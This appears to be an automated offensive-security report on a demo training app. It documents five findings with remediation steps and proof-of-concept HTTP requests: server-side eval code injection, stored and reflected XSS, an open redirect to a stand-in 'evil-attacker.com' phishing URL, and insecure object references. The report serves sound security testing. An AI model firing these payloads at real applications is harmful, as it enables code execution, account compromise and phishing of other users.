Vex Raptor — Offensive Security Report

Contribution form fields are evaluated server-side via JavaScript `eval`. A busy-loop timing payload produced consistent multi-second delay vs baseline.

Remediation

Never pass user input to eval/Function/vm.runInNewContext. Use safe parsers and strict allowlists for numeric fields.

Evidence / PoC

POST /contributions HTTP/1.1
Host: training-app.demo.vexraptor.internal
Content-Type: application/x-www-form-urlencoded
Cookie: connect.sid=[session]

preTax=1;(function(){var d=Date.now();while(Date.now()-d<2500){}})();&afterTax=1&roth=0

→ Response delayed ~2.5s vs control (eval timing confirmed)

Authenticated profile update reflects unsanitized user input in the POST response (stored XSS vector on server-rendered pages). HIGH confidence — no browser dialog observed on render.

Remediation

Encode or sanitize stored HTML; use CSP; avoid reflecting raw user input in templates.

Evidence / PoC

POST /profile HTTP/1.1
Host: training-app.demo.vexraptor.internal
Content-Type: application/x-www-form-urlencoded
Cookie: connect.sid=[session]

firstName=<img src=x onerror=alert(1)>&lastName=Demo&ssn=1&...

→ HTTP 200 — payload reflected unencoded in HTML response body

The `url` query parameter on `/learn` triggers an off-site redirect without allowlist validation.

Remediation

1. Validate redirect destinations against a whitelist. 2. Only allow relative paths or explicitly approved domains. 3. Use indirect references (IDs mapped server-side) instead of URLs.

Evidence / PoC

GET /learn?url=https://evil-attacker.com/phishing HTTP/1.1
Host: training-app.demo.vexraptor.internal
Cookie: connect.sid=[session]

→ HTTP 302 Location: https://evil-attacker.com/phishing

Signup validation error reflects `userName` without encoding. Distinct from profile stored XSS; tracked as partial recall.

Remediation

Apply contextual output encoding for all reflected user input; deploy a strict Content-Security-Policy to limit script execution in HTML contexts.

Evidence / PoC

POST /signup HTTP/1.1
Host: training-app.demo.vexraptor.internal

userName=<vex9z1q>&password=...

→ Validation error page echoes markup without encoding (attribute context)

Path segment `allocation_id` on `/allocations` is not ownership-checked — swapping IDs exposes another user's data (partial; benefits from two identities).

Remediation

Enforce object-level authorization on every resource endpoint. Verify that the authenticated user owns or has permission to access the requested object before returning data. Do not rely solely on the absence of public links.

Evidence / PoC

GET /allocations/2 HTTP/1.1
Host: training-app.demo.vexraptor.internal
Cookie: connect.sid=[session-user1]

→ HTTP 200 — allocations for another user returned (path allocation_id not enforced)